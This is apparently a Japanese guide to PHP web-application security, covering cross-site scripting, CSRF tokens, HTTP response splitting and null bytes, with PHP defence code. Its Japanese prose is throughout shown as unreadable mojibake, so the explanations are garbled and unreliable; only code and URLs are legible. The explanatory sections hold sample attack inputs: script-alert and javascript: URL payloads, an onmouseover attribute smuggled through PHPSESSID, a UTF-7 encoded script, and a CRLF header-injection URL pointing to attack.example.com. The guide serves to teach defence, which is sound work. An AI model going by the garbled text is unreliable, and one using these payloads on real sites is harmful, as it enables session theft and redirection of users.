PHP �ϡ�Apache �⥸�塼��䡢CGI�����ޥ�ɥ饤��Ȥ��ƻ��ѤǤ��륹����ץȸ���Ǥ������Υڡ����Ǥϡ���� PHP �ˤ����롢Web ���ץꥱ�������Υ������ƥ�����ˤĤ��ƤޤȤ�Ƥ��ޤ���
Web ���ץꥱ�������Υ������ƥ�����Ȥ��Ƥϡ��ʲ�������ˤĤ��Ƥ褯�����Ƥ���Ȼפ��ޤ����������Υ������ƥ�����ˤĤ���Ĵ�٤����Ȥ䡢�����ʳ��Ǥ⡢PHP �˴�Ϣ���Ƥ��륻�����ƥ�����ˤĤ����ΤäƤ��뤳�ȤˤĤ��ƥ�⤷�Ƥ����ޤ���
�����������ȥ�����ץƥ���
SQL �����������
�ѥ����ȥ�С�����(�ǥ��쥯�ȥꡦ�ȥ�С�����)
���å����ϥ�����å�
���ޥ�ɥ����������
�ޤ���PHP �ޥ˥奢�� : �������ƥ��䡢PHP Security Guide (PHP Security Consortium) �ˤϡ�PHP �DZƶ���������ǽ���Τ���¿���Υ������ƥ�����ˤĤ��Ƥβ��⤬����ޤ����ޤ���PHP �ˤĤ��Ƥβ����¿���Ϥ���ޤ�������Ū�ʥ������ƥ�����ؤ��к��Ȥ������˻��ͤˤʤ������奢���ץ�����ߥֺ��Ȥ��������� IPA �����������Ƥ��ޤ���PHP ����Ѥ����硢�ä� Web �ץ�����ޥ������ˤĤ����ɤळ�Ȥ��ᤷ�ޤ����ޤ��������奢���ץ�����ߥֺ� ��2�����������Ƥ��ޤ���
���ҤȤ��Ƥϡ�PHP �����С��ƥ��ε�ˡ - ������ɸ�μº��פ� 2005.11.22 ��ȯ�䤵��Ƥ��ޤ���PHP ����Ѥ��� Web ���ץꥱ�������ȯ�����դ��٤��������ƥ�����Τ��줾��ˤĤ��ƾܤ�����Ƥ��ꡢ���˻��ͤˤʤ���Ҥ��Ȼפ��ޤ����ޤ��������ܤ����ԤǤ����ƣ����������Υڡ����ͤˤ����Ȥ����ݤ�Ϣ���������ޤ����������ܤǤϤ��Υڡ����ǽƤ��뤳�ȤΤۤȤ�ɤ����夵��Ƥ��ޤ���
�ޤ������ѡ��ե�����PHP��(ȯ����:2010.11.12)�ϡ�PHP �δ��ܵ�ǽ��饤�֥�ꡢ�ե졼���������Ǥʤ���Web ���ץꥱ����������ƥ��ˤĤ��Ƥ�ܤ�����갷�äƤ��ޤ����������ƥ�����ʬ��ô�����줿��������ˤϡ����å����ϥ�����å��к��Υե����ץ��ȤΥ����å��ͤˤ��Ƥ����������Ȥ���Ϣ���������ޤ�����
���η�Ū�˳ؤ� ������Web���ץꥱ�������κ���� - �ȼ��������ޤ�븶�����к��μ�����(ȯ����:2011.03.01)�ˤϡ���ӥ奢���ΰ�ͤȤ��ơ����ä����Ƥ��������ޤ��������ν��ҤǤϡ��ȼ����θ������餽�β����ˡ�ޤǡ���ǫ����������Ƥ��ޤ��������ȥ��̤ꡢ�η�Ū�� Web ���ץꥱ����������ƥ��ˤĤ��Ƴؤ֤ˤϺ�Ŭ�ν��Ҥ��Ȼפ��ޤ������ҤΥ�ӥ塼��ˤϡ����Ԥ����ݤ���ӡ�¾�Υ�ӥ奢����������¿���Τ��Ȥ�ؤФ��Ƥ��������ޤ������ɤ��⤢�꤬�Ȥ��������ޤ�����
�⤷�����Υڡ����ơ�����������æ�����ְ㤤��¾�ˤ�ܤ��������ɤ�����ʤɤ�����ޤ����顢����Ƕ����Ƥ���������
�����餯�������ǤޤȤ�������ƥ��к������ǤϽ�ʬ�Ȥϸ����ޤ����ٶ����Τ��ᡢ�ܤ��������Ǥ��Ƥ��ʤ��ϰϤ������ְ㤤�ʤɤ⤢��Ȼפ��ޤ��������ͤˤʤ�ޤ����鹬���Ǥ���
�ɲù��ܤ��ѹ����ˤĤ��Ƥϡ����������Ȥ��Ƥ���������
�����������ȥ�����ץƥ���(XSS ��ɽ������뤳�Ȥ�¿���褦�Ǥ�)�ϡ�������������Ϥ� Javascript �� VBScript �ʤɤ��ޤޤ�Ƥ������ˡ�����ʸ����ν��ϻ��˥�������������ԤäƤ��ʤ����Ȥ������ǵ���������Ǥ���
�ºݤ����Ƥ�ʣ���ʤΤǤ��������դΤ���桼���ˤ�ꡢ�ڡ������ Javascript �ʤɤ������ޤ��ȡ������ɽ������¾�Υ桼���Υ֥饦���ǥ�����ץȤ��¹Ԥ���ޤ�������ˤ�ꡢ���Υڡ�����ɽ�������桼���Υ֥饦��������å��夵�����롢���å���� ID ����ޤ�롢¾�Υ����Фؤι���������ǽ��������ޤ���
PHP �Ǥϡ��ʲ��Τ褦�ˡ�GET �� POST ���ѿ��Τޤ��Ϥ�����������Ȥʤ�ޤ���
... <form method="post" action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>"> ̾�� : <input name="user" type="text" /> <input type="submit" name="submit" value="���" /> </form> <?php if ( ! empty( $_POST['user'] ) ) : ?> <div> ̾�� : <?php echo $_POST['user'] ?></div> <?php endif ?> ...
��ʤ������ɤ��Ǥ������ƥ����ȥܥå����˰ʲ��Τ褦�� Javascript �����Ϥ���ȡ��֥饦�������顼�ȥܥå�����Ф�³�����桼�����֥饦�������Ǥ��ʤ��褦�ˤʤ�ޤ���
<script>while(1){ alert( 'test' ); }</script>
¾�ˤ⡢���ߤ� Cookie ��������ơ��̤Υ����Ф��Ϥ��ʤɤȤ������˴����ʥ����ɤ�¹Ԥ����뤳�Ȥ��ǽ�Ǥ�������ϡ�����åԥ����ȤʤɤθĿ;���������ȤǤ����硢�ʤꤹ�ޤ��ʤɤ��Ԥ����ǽ��������ޤ���
HTML �Ȥ��ƽ��Ϥ������Ƥ��ѿ���������ؿ��η�̤��Ф��ơ�htmlspecialchars()
���̤��ƽ��Ϥ���С��ۤȤ�ɤΥ����������ȥ�����ץƥ��ϲ���Ǥ��ޤ����տ�Ū�˥�����ޤ�ƽ��Ϥ�����ʳ��ϡ�����˱������н��ԤäƤ���������
PHP �Ǥϡ�htmlspecialchars()
�� strip_tags()
�Ȥ����ؿ����Ѱդ���Ƥ��ޤ��������䤽�ι������ǤȤ���ǧ�������ʸ����(<, >, &, ") ��ɽ�����������ϡ�htmlspecialchars()
��������ʬ�������������� strip_tags()
����Ѥ��ޤ���
�Ŀ�Ū�ˤϡ������������ȥ�����ץƥ����к��Ǥ� strip_tags()
���� htmlspecialchars()
����Ѥ��뤳�Ȥ��ᤷ�ޤ�����ͳ�Ȥ��Ƥϡ���"�פ��&�פ� htmlspecialchars()
�ˤ�륨��ƥ��ƥ��Ѵ��ǥ��������פǤ��ޤ�����strip_tags()
�Ǥϡ������γ��� ��"�פ��&�פ��ޤޤ�Ƥ�����硢���Τޤ��Ϥ��Ƥ��ޤ�����Ǥ���
<div> ̾�� : <?php echo htmlspecialchars( $_POST['user'] ) ?></div>
������°���ͤ��'�פdz�äƤ����硢htmlspecialchars()
����2������ ENT_QUOTES
������Ƥ���ɬ�פ�����ޤ���
<a href='<?php echo htmlspecialchars( $str, ENT_QUOTES ) ?>'>url</a>;
�ޤ���htmlspecialchars()
�ˤϡ���3�����Ȥ��ơ�ʸ�������ɤ����Ǥ��ޤ��Τǡ�ʸ�������ɴ�Ϣ���������뤿��˻��ꤷ�����������Ǥ���������Τ褦�ˡ�htmlspecialchars()
�ΰ�������ꤹ��Τ����ݤǤ��Τǡ�echo
������˰ʲ��Τ褦�ʴؿ���������ƽ��Ϥ������Ƥ��ѿ���Ŭ�Ѥ�����ɤ��Ȼפ��ޤ���
<?php function echo_html( $str ) { echo htmlspecialchars( $str, ENT_QUOTES, 'UTF-8' ); } ?> <a href="<?php echo_html( $url ) ?>"><?php echo_html( $title ) ?></a>
�ʾ�Υ������������ϥǡ��������ϻ��ǤϤʤ���HTML ����Ϥ�����˹Ԥ�ʤ���Фʤ�ʤ��Ȥ���Ƥ��ޤ��������Ű�줷�Ƥ����С�PHP ������ץȤ���������Ť˥�������������ԤäƤ��ޤä��ꡢ���������פ�˺�줿�ꤹ��褦���������䤹���ʤ�ޤ���
�����������ȥ�����ץƥ��β�����Ǥ褯�������������ϥǡ��������å���̩�ˡפȤ���ɽ�����顤��3��(1)�ե�������ջ��Υ����ߥǥ��˥�������Ԥ��Τ��Ȼפ������Ǥ��롣���˥�������(2)HTML�������Υ����ߥǹԤ��٤��Ǥ��롣���ϡ֥����������ȥ�����ץƥ����к��ξܺ١פ��������뤬���ǡ�����������HTML���ʸ̮�˹�碌��Ŭ�ڤʥ��˥�������ˡ������ɬ�פ����뤫��Ǥ��롣�ޤ��Ǽ��Ĥ���Ǥϡ�����Ū�˥ǡ����١����ؤε����ν����ʤȤ��ơ����ˤ����Ƥ�Ƴ�����줿���Ǥ⡤(2)HTML�������Υ����ߥǥ��˥��������Ƥ���С��ʤ����ä��뤳�Ȥʤ�������������ϸ������������Ǥ���ǡ�����ϳ��ʤ����˥������Ǥ��롣�ޤ���Ʊ���ǡ����˸��ä�2��ʾ奵�˥��������ƥǡ����ΰ�̣���Ѥ�äƤ��ޤ��Ȥ����߷�Υȥ�֥���ɤ��롣
���Τ褦�˥��˥������Υ����ߥ�(1)�ե�������ջ��ǤϤʤ���(2)HTML�������Ǥʤ���Фʤ�ʤ�������ʸ����Understanding Malicious Content Mitigation for Web Developers�٤Ǥ�HTML�������Υ��˥�������侩���Ƥ��롣
�����奢�ץ�����ߥֺ� �裱�ϡ������奢Web�ץ�����ߥ� [1-2.]�����������ȥ�����ץƥ����֥��˥������Υ����ߥ� HTML ��������
�ʲ��Τ褦�ʤ��Ȥ�Ԥä���硢�嵭���к��Ǥ��Խ�ʬ�ˤʤ�ޤ���
style ������ script �����������˳�����������Ϥ���������
htmlspecialchars()
�ϡ���<��,��>��,��"��,��&�פȥ��ץ����ˤ�äƤ� ��'�פ�ƥ��ƥ��Ѵ����ޤ����ޤ���strip_tags()
�ϥ����Ȥ���ǧ�������ʸ���������������Ǥ���
�⤷��scirpt ������ style ������Ǥ�����ʸ����̵���Ƥ�¹Բ�ǽ�ʥ�����ץȤ����ϤǤ����硢�����������ȥ�����ץƥ����н褷�����ȤˤϤʤ�ޤ��ɤ����Ƥ⤽��ɬ�פ�������ϡ�Javascript �Ȥ��Ƽ¹Ԥ��줽����ʸ�����������ʤɡ�����ʣ���ʽ�����ɬ�פˤʤ�ޤ���
�㤨�С��ʲ��Τ褦�� style �����˰Ϥޤ�Ƥ�����ʬ�Ǥ� Javascript ��¹Ԥ��Ƥ��ޤ��֥饦��������ޤ���
<style type="text/css"> @import url( javascript:alert('test') ); </style>
�桼���� HTML �����䥹�����륷���ȤҤǤ���褦�ˤ��������Υ����������ȥ�����ץƥ����к��Ȥ��Ƥϡ��ϤƤʥ������XSS�к������ͤˤʤ�ޤ����֥饦���ˤ�äƤ�㤤�����뤿�ᡢ����Ǥ����ƤΥ����������ȥ�����ץƥ����н�Ǥ��뤫��ʬ����ޤ���¿���ξ����н�Ǥ���Ȼפ��ޤ���
������°����ʬ�˳���������ѿ�����������
¿���Υ֥饦���Ǥϡ�A ������ img �����ʤɤ�°����ʬ���� Javascript ���¹Բ�ǽ�ˤʤäƤ��ޤ����ʲ��Υ�����ץȤǤϡ������������ȥ�����ץƥ����н褷�����ȤˤϤʤ�ޤ���
<a href="<?php echo htmlspecialchars( $_GET['url'] ) ?>">�����ȥ�</a>
��Ȥ��ơ�http://example.com/link.php
�Ȥ����ڡ����ǡ���Τ褦�ʽ���������Ƥ����Ȥ���ȡ��֥饦���ǰʲ��Τ褦�� URI �����Ϥ���ȡ�Javascript �μ¹Ԥ���ǽ�Ǥ���
http://example.com/link.php?url=javascript:alert()
PHP �ˤ����Ϥϰʲ��Τ褦�ˤʤ�ޤ������å������ Javascript ���¹Ԥ���ޤ���
<a href="javascript:alert()">javascript:alert()</a>
������°����ʬ�˳�����������Ϥ����������硢ɬ����Javascript ���¹Բ�ǽ�Ǥʤ�ʸ����Ǥ��뤳�Ȥ�����å����Ƥ����������㤨�С������Ǥϡ�$url
�������� URI �Ǥ��뤫�ɤ����γ�ǧ��Ԥ����Ȥ��������뤳�Ȥ��Ǥ��ޤ���
������������Ū�� URI �Υ����å��Ѵؿ��Ǥ���С��ʲ��Τ褦�ʤ�Τ���Ѥ�����ɤ��Ȼפ��ޤ���ɬ�פ˱����������å���ԤäƤ���������
function is_uri( $uri ) { if ( preg_match( "|[^-/?:#@&=+$,\w.!~*;'()%]|", $uri ) ) { return FALSE; } if ( ! preg_match( "!^(?:https?|ftp)://" // scheme( http | https | ftp ) . "(?:\w+:\w+@)?" // ( user:pass )? . "(" . "(?:[-_0-9a-z]+\.)+(?:[a-z]+)\.?|" // ( domain name | . "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|" // IP Address | . "localhost" // localhost ) . ")" . "(?::\d{1,5})?(?:/|$)!iD", // ( :Port )? $uri ) ) { return FALSE; } return TRUE; }
PHP �Ǥ��äˡ�session_id()
�ؿ��䡢����� SID
����Ѥ���ݤ�����Ȥʤ뤳�Ȥ�����ޤ������å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ��������ȡ������������ȥ�����ץƥ����к��� strip_tags()
����Ѥ���Ȥ��������⻲�ͤˤ��Ƥ���������
����¾�� PHP ��¸�ߤ��륯���������ȥ�����ץƥ�������
¾�ˤ⡢�ʲ��Τ褦�ˡ�PHP �ΥХ��ˤ�륯���������ȥ�����ץƥ������꤬����ޤ���
PHP 4.3.1 �����ΥС������Ǥϡ�Ʃ��Ū�ʥ��å����ID(Trans SID) ��ͭ���ˤ��Ƥ������˵����륯���������ȥ�����ץƥ������꤬����ޤ����ܤ����ϡ�Cross-site Scripting in PHP's Transparent Session ID Support(2004.06.08 �β�����)�ˤޤȤ�Ƥ��ޤ���
Ʃ��Ū�ʥ��å����ID ����Ѥ��ʤ��������Ϥ���ޤ���(php.ini �� session.use_trans_sid
�� 0
�ˤ���)�����Ѥ�����ϡ�PHP 4.3.2 �ʾ����Ѥ��Ƥ���������
PHP 5.1.0 ������ΥС������� PHP 4.4.1 ������ΥС������Ǥϡ�phpinfo()
�ˤ������������Ƥ�����ˡ������������ȥ�����ץƥ�����ǽ�Ȥ�������⤢��ޤ���(Fixed a Cross Site Scripting (XSS) vulnerability in phpinfo() that could lead f.e. to cookie exposure, when a phpinfo() script is accidently left on a production server.(PHP 4.4.1. Release Announcement, PHP 5.1.0. Release Announcement))
����� PHP ������ץ�¦�Ǥ��н�Ǥ��ʤ����ᡢphpinfo()
�����˸������ʤ���php.ini �� phpinfo()
����ѤǤ��ʤ��褦��������ѹ�����(php.ini �� disable_functions
)��PHP 5.1.0 �ʹߡ�PHP 4.4.1 �ʹߤΥС������� PHP ����Ѥ���Ȥ����н���ˡ������ޤ���
strip_tags()
�ϥ����������ȥ�����ץƥ����к��Ȥ��ƻ��Ѥ���ˤ��Խ�ʬ�Ǥ���strip_tags()
����Ѥ�����ϡ�¾����ˡ���Ȥ߹�碌���н��ԤäƤ����������ʲ������꤬����ޤ���
PHP �ޥ˥奢��Ǥϴ��˽������줿�褦�Ǥ�����PHP �ޥ˥奢��� ���å��������ؿ�(session)����ǡ��������ʲ��Τ褦�˽�Ƥ��ޤ������ʲ��ν����ϥ����������ȥ�����ץƥ����к��ˤʤ�ޤ����Τǡ����դ��Ƥ���������
�� 5. ñ��Υ桼�����˴ؤ���ҥåȿ��������
<?php if (!session_is_registered('count')) { session_register('count'); $count = 1; } else { $count++; } ?> ����ˤ��ϡ����ʤ������Υڡ������褿�Τ�<?php echo $count; ?>���ܤǤ��͡� <p> ³����ˤϡ�<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">������å�</A>���Ʋ�������XSS �˴ط����빶����ɻߤ��뤿��� SID ����Ϥ���ݤˡ�strip_tags()����Ѥ��ޤ���
�ʲ�����ʬ�Ǥ�����SID
�ˤϡ�Ǥ�դ�ʸ���������ǽ�������뤿�ᡢ�����������ȥ�����ץƥ����к���Ԥ�ɬ�פ�����ޤ�������ϡ�strip_tags()
�ϥ��֥륳���ơ������������ʤ����ᡢ����������������뤳�Ȥ���ǽ�Ǥ���Ȥ������Ǥ���
<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">
�㤨�С�SID
�˰ʲ���ʸ�������äƤ�����硢Javascript �μ¹Ԥϲ�ǽ�Ǥ���
" onmouseover="alert();
������Ǥϡ������ϰʲ��Τ褦�ˤʤꡢ��ξ�˥ޥ������֤��ȡ�Javascript ���¹Ԥ���ޤ���
<A HREF="nextpage.php?" onmouseover="alert();">
�֥饦������Υꥯ�����Ȥ�Ԥ��ݤˤϡ��ʲ��Τ褦�˻��ꤹ�뤳�Ȥˤʤ�ޤ���
http://www.example.com/session.php?PHPSESSID="%20onmouseover="alert();"
������н褹��Τϴ�ñ�ǡ�strip_tags()
�ǤϤʤ���htmlspecialchars()
����Ѥ��ޤ���
<A HREF="nextpage.php?<?php echo htmlspecialchars(SID) ?>">
�����ϰʲ��Τ褦�ˤʤꡢJavascript �ϼ¹Ԥ���ޤ���
<A HREF="nextpage.php?" onmouseover="alert();"">
���ʤ��Ȥ⡢�����������Ǥϡ�htmlspecialchars()
����Ѥ������������Ǥ�����������������ξ��Τ褦�ˡ�urlencode()
������Ŭ�ڤʤ��Ȥ⤢��ޤ���
¾�ˤ⡢strip_tags()
�ˤ���2��������ꤹ�뤳�Ȥ��Ǥ���������Ԥ�ʤ����������Ǥ��ޤ��������ξ�硢��������������������� Javascript �Υ����ɤ��ޤޤ�Ƥ�����硢�¹Ԥ���Ƥ��ޤ���ǽ��������ޤ��������������ȥ�����ץƥ����к��Ȥ��ơ�strip_tags()
����Ѥ���ΤϤ��Ƥ����������ɤ��Ȼפ��ޤ���
ʸ�������ɤ� UTF-7 �ξ�硢htmlspecialchars()
�Ǥϥ����Υ��������פ��Ǥ��ʤ��Ȥ������꤬��𤵤�Ƥ��ޤ���
�㤨�С�"<script>alert('test');</script>" �Ȥ���ʸ����� UTF-7 ���Ѵ�����Ȱʲ��Τ褦ɽ������ޤ���
+ADw-script+AD4-alert('test')+ADsAPA-/script+AD4-
���Τ褦��ʸ�����Ϥ��졢�֥饦���μ�ưǧ����ʸ�������ɤ� UTF-7 �Ǥ����Ƚ�ꤵ��롢�ޤ��ϼ�ư��ʸ�������ɤ� UTF-7 �����ꤹ��ȥ����������ȥ�����ץƥ����������ޤ���
�ʲ��Υ����ɤ� Google XSS Example (Chris Shiflett: The PHP Blog) �ǷǺܤ���Ƥ��������ɤ��ѹ�������ΤǤ�����ʸ�������ɤ� UTF-7 �ξ�硢htmlspecialchars()
�䡢htmlentities()
�ؿ��Ǥϥ����������פǤ��ʤ����Ȥ�ʬ����ޤ���
<?php header( 'Content-Type: text/html; charset=UTF-7' ); $string = "<script>alert('XSS');</script>"; $string = mb_convert_encoding( $string, 'UTF-7' ); echo htmlspecialchars( $string ); ?>
��������ؤ��н�Ȥ��Ƥϡ�HTTP �쥹�ݥإå�������Ū��ʸ�������ɤ���ꤷ�ơ��֥饦���μ�ưȽ�̵�ǽ��ư����ʤ��Ȥ�����ˡ�����ޤ���PHP �Ǥ� header()
�ؿ�����Ѥ�������Ū��ʸ�������ɤ����Ǥ��ޤ�����Ȥ��ơ�EUC-JP �ǽ��Ϥ��Ƥ�����ϡ��ʲ��Τ褦�ˤ��ޤ���
header( 'Content-Type: text/html; charset=EUC-JP' );
���ϻ���ʸ�������ɤμ�ư�Ѵ���ǽ(mbstring.encoding_translation
)��ͭ���ˤ��Ƥ�����ϡ�PHP ����ưŪ��ʸ�������ɤ���Ϥ��Ƥ���ޤ��Τǡ����ξ�������Ū�˥إå�����Ϥ���ɬ�פϤʤ����⤷��ޤ���
Google XSS Example (Chris Shiflett: The PHP Blog)
UTF-7�����ɤ��줿����ʸ����ˤ��XSS�ȼ��������� (����å���ɥåȡ�����ѥ�)
CSRF ������Υ����Ȥ������Υ桼���θ��¤��Ѥ��ơ������Υ桼�����տޤ��Ƥ��ʤ��������������빶��Ǥ��������Υ桼�������륵���Ȥ˥����������֤ǡ�����Ԥ����Υ����Ȥ˱ƶ���Ϳ����̿���¹Ԥ����뤳�Ȥ�տޤ����̤� URI ��ͶƳ���뤳�Ȥ�ȯ�����ޤ���Session Riding �ȸƤФ�뤳�Ȥ⤢��褦�Ǥ���
�����������ȥ�����ץƥ���ʻ�Ѥ��ƹԤ��뤳�Ȥ�¿���褦�Ǥ���������Ū�ˤ�̵�ط��Ǥ����������������������ȥ�����ץƥ�����ǽ�ʾ�硢CSRF �������ɤ����ȤϤǤ��ޤ���
CSRF �ˤĤ��Ƥϡ�CSRF - �����������ȥꥯ�����ȥե���������(hoshikuzu | star_dust �ν��) �˻��ͥ����Ȥ��ޤȤޤäƤ��ꡢ���˻��ͤˤʤ�ޤ���
��ȯ�ԤΤ����������CSRF�к������˻��ͤˤʤ�ޤ������Υڡ����Ρ������� CSRF �к��פͤˤ����н��Ԥ����ɤ��Ȼפ��ޤ����ʲ���4�Ĥ���ˡ�����Ƥ��ޤ���
�����ȡ���������������Ѥ�����ˡ
����ȡ��������Ѥ�����ˡ
�ѥ���ɤκ����Ϥ������ˡ
CAPTCHA�����������Ѥ�����ˡ
PHP �Ǥμ�����Ȥ��ơ�������֤��Ȥ˥ȡ�������ڤ��ؤ��� CSRF ���ɻߤ�����ˡ��ͤ��Ƥߤޤ����������� CSRF ���ɻߤ��뤳�Ȥ��ݾڤ��ޤ����ȡ�����Ȥ���ư���Ȼפ��ޤ���
<?php class Token { var $ttl; var $name; function Token( $name = 'tokens', $ttl = 1800 ) { // CSRF ���Хȡ��������ͭ������(��) // �Ǿ����¤Ϥ����ͤ� 1/2 (1800 �ξ��ϡ�900�ô֤Ϻ����ݻ������) $this->ttl = (int)$ttl; // ���å�������Ͽ����ȡ����������̾�� $this->name = $name; } /** * �ȡ���������� */ function createToken() { $curr = time(); $tokens = isset( $_SESSION[$this->name] ) ? $_SESSION[$this->name] : array(); foreach ( $tokens as $id => $time ) { // ͭ�������ڤ�ξ��ϥꥹ�Ȥ����� if ( $time < $curr - $this->ttl ) { unset( $tokens[$id] ); } else { $uniq_id = $id; } } if ( count( $tokens ) < 2 ) { if ( ! $tokens || ( $curr - (int)( $this->ttl / 2 ) ) >= max( $tokens ) ) { $uniq_id = sha1( uniqid( rand(), TRUE ) ); $tokens[$uniq_id] = time(); } } // �ꥹ�Ȥå�������Ͽ $_SESSION[$this->name] = $tokens; return $uniq_id; } /** * ���å����Υꥹ�Ȥ˥ȡ�����¸�ߤ����ȡ�����ͭ��������ξ��� FALSE ���֤� */ function isCSRF( $token ) { $tokens = $_SESSION[$this->name]; if ( isset( $tokens[$token] ) && $tokens[$token] > time() - $this->ttl ) { return FALSE; } return TRUE; } } ?>
(2008.05.11 ����)
�嵭�����ɤ� isCSRF()
��åɤ��֤��ͤ��ְ�äƤ��ޤ����Τǡ��������ޤ����������Ȥ˽�Ƥ���Τȵդ�ư��ˤʤäƤ��ޤ�������Ŧ���Ƥ������ä� yu-ki ���ɤ��⤢�꤬�Ȥ��������ޤ�����
�ͤ����Ȥ��Ƥϡ��ʲ����̤�Ǥ����֥饦����ʣ���Υڡ������Ƥ������Ǥ⡢������ְ���˥ڡ����ν���������С����å������³�Ǥ��ޤ���
�ޤ��ȡ�����ȯ�Ԥ���Ƥ��ʤ����ϡ��ȡ������ȯ��
�������(�ǥե���ȤǤ� 1800 ��)��Ⱦʬ���вᤷ�������ǿ������ȡ������ȯ��(����Ʊ����2�ĤΥȡ�������ݻ�����)
createToken()
��åɤϾ�˿��������Υȡ�������֤�
isCSRF()
�ϡ��ȡ����������ʾ�礫��ͭ�����֤��ڤ�Ƥ�����硢TRUE
���֤�
�ʲ��Τ褦�˻��Ѥ��ޤ���
<?php session_start(); $token =& new Token() if ( isset( $_POST['command'] ) ) { // CSRF ������å�����ɬ�פΤ�������ξ�� if ( empty( $_POST['token'] ) || $token->isCsrf( $_POST['token'] ) ) { // CSRF �����Ф��줿���������ڤ�ξ��ν��� trigger_error( 'CSRF or timeout' ); exit; } // $_POST['command'] ����Ѥ������� } $token_id = $token->createToken(); ?> ... <input type="hidden" name="token" value="<?php htmlspecialchars( $token_id, ENT_QUOTES ) ?>" /> ...
PHP �ˤϡ��֥饦�����Ф��� HTTP �쥹�ݥإå�����������ؿ�������ޤ�(header()
, setcookie()
�ؿ��ʤ�) �֥饦���ϡ�HTTP �쥹�ݥإå���������ȡ��������Ƥ˱�����������Ԥ��ޤ���
Web ���ץꥱ�������ȯ�Ԥ� header()
�ؿ��ʤɤˡ�������������Ϥ���Ѥ��Ƥ�����硢Ŭ�ڤʽ�����ԤäƤ��ʤ��ȡ������� HTTP �쥹�ݥإå�����Ϥ������Ƥ��ޤ���ǽ��������ޤ���
HTTP �쥹�ݥإå��������˲��⤵���ȡ�Location: ...
�� Set-Cookie: ...
�ʤɡ�Ǥ�դΥإå�����Ϥ������Ƥ��ޤ����Ȥˤʤ�ޤ������ˤ�äƤϡ����˴����ʹ��⤬��ǽ�ˤʤ�ޤ��Τǡ���ʬ���н��Ԥ�ɬ�פ�����ޤ���
�㤨�С��̤Υ����Ф˥�����쥯�Ȥ�Ԥ��ʲ��Τ褦�ʥ�����ץȤ�����Ȥ��ޤ���
if ( ! empty( $_GET['id'] ) ) { $id = $_GET['id']; header( 'Location: http://contents.example.com/' . $id . '/' ); }
�ʲ��Τ褦�ʥꥯ�����Ȥ����뤳�Ȥǡ�����Ԥ�Ǥ�դ� HTTP �쥹�ݥإå����ɲäǤ��ޤ���
http://www.example.com/redirect.php?test=a%0d%0aLocation:%20http://attack.example.com/
���ι�����ˡ����Ѥ���ȡ�Ǥ�դΥ����Ф�ͶƳ������������Ǥʤ���Cookie �����Ƥ���������(���å����ϥ�����å��䵡̩�������ޤ��)��Cookie �����Ƥξ��(���å�������ʤ�)��Proxy �����Ф���ӡ���������ˤ����륭��å�������ʤɤ���ǽ�ˤʤ�ޤ���
2�̤���н���ˡ������ޤ���
1. PHP ������ץ�¦���н褹����ˡ
HTTP �쥹�ݥ�ʬ�乶��ؤ��н�Ȥ��Ƥϡ�CR,LF(\r\n) ���ޤޤ��褦������ʸ����� header()
�ؿ��ʤɤ��̤��ʤ��褦�ˤ��뤳�Ȥ��н��ǽ�Ǥ���
if ( ! empty( $_GET['id'] ) ) { $id = str_replace( array( "\r", "\n" ), "", $_GET['id'] ); header( 'Location: http://contents.example.com/' . $id . '/' ); }
��������HTTP �쥹�ݥ�ʬ�乶��ʳ������곰�����꤬�����뤳�Ȥ��ɤ�����ˤ⡢�������Ƥ������̤�ʤΤ��ˤĤ��ơ�����ɽ���ʤɤdz�ǧ�������������Ǥ����ޤ���PHP 5.0.0 ���� PHP 5.1.1 �ޤǤΥС������Ǥϡ����å����ǽ�ˤ������꤬��𤵤�Ƥ��ޤ��Τǡ������н���ˡ�����Ǥ��Խ�ʬ�Ǥ���
2. PHP ���ץꥱ�������¦���н褹����ˡ
PHP 4.4.2 �� PHP 5.1.2 �ˤ����ơ��إå�����������ؿ��Ǥϰ��٤�ʣ���Υإå��������Ǥ��ʤ��褦�˽�������ޤ�����
���ν����ˤ�ꡢPHP 4.4.2 / PHP 5.1.2 �ʹߤΥС���������Ѥ��Ƥ������(����¾���ȼ��������Ĥ���ʤ��¤�)HTTP �쥹�ݥ�ʬ�乶��������Ȥ����ȹͤ����ޤ������������Ť��С������� PHP ������ץȤ�ư������ǽ���������Ǥ⤢����ϡ�PHP ������ץ�¦�Ǥ��н�Ǥ��Ƥ��뤫�ˤĤ��Ƴ�ǧ���Ƥ����������ɤ��Ȼפ��ޤ���
PHP 5.0.0 ���� PHP 5.1.1 �ޤǤΥС������Ǥϡ����å����ǽ�� HTTP �쥹�ݥ�ʬ����ȼ��������뤳�Ȥ���𤵤�Ƥ��ޤ�������ϡ�PHP �����å���� ID �Τޤ� HTTP �쥹�ݥإå��� Set-Cookie �ե�����ɤ˻��Ѥ��Ƥ��ޤ����Ȥ������Ǥ���
����αƶ��������С���������Ѥ��Ƥ�����ϡ�Hardened-PHP Project ���������Ƥ��� Patch ��Ŭ�Ѥ��Ʊ��Ѥ��뤫���ǿ��ΥС���������Ѥ��뤳�ȤǤ�������αƶ������Ǥ��ޤ���
PHP ������ץ�¦�Ǥ��н���ˡ�Ȥ��Ƥϡ�session.use_only_cookies
��ͭ���ˤ��Ʊ��Ѥ��롢�ޤ��ϡ�session_start()
�θ��ɬ�� session_regenerate_id()
��¹Ԥ���Ȥ�����ˡ���ͤ����ޤ���
Advisory 01/2006: PHP ext/session HTTP Response Splitting Vulnerability (Hardened-PHP Project)
Advisory 01/2006: PHP ext/session HTTP Response Splitting Vulnerability (Hardened-PHP Project)
Introduction to HTTP Response Splitting (SecuriTeam)
NULL �Х���("\x00" �� "\0" �Ȥ���ɽ����� C ����ǤϽ�üʸ������Ƥ���ʸ����) �ˤ��ƶ��ˤ�ꡢ��ư��θ����Ȥʤ�����Ǥ���
PHP �˸¤�ޤ����ѿ��˥Х��ʥ�ǡ������ޤޤ�Ƥ�����Ǥ⡢�����������Ǥ���Х��ʥꥻ���դδؿ��ȥХ��ʥ�ǡ������ޤޤ�Ƥ�����硢�����������Ǥ��ʤ���ǽ��������Х��ʥꥻ���դǤʤ��ؿ�������ޤ����Х��ʥꥻ���դǤʤ��ؿ��� NULL �Х��Ȥ��ޤޤ�Ƥ�����硢ʸ����ν�λ�Ȥߤʤ��Ƥ��ޤ����ᡢNULL �Х��Ȥθ���˥ǡ��������ä����Ǥ������λ���Ƥ��ޤ��ޤ�������ˤ�ꡢ������ץȤǰտޤ��Ƥ��ʤ��ä�ư��Ȥʤ��ǽ��������ޤ���
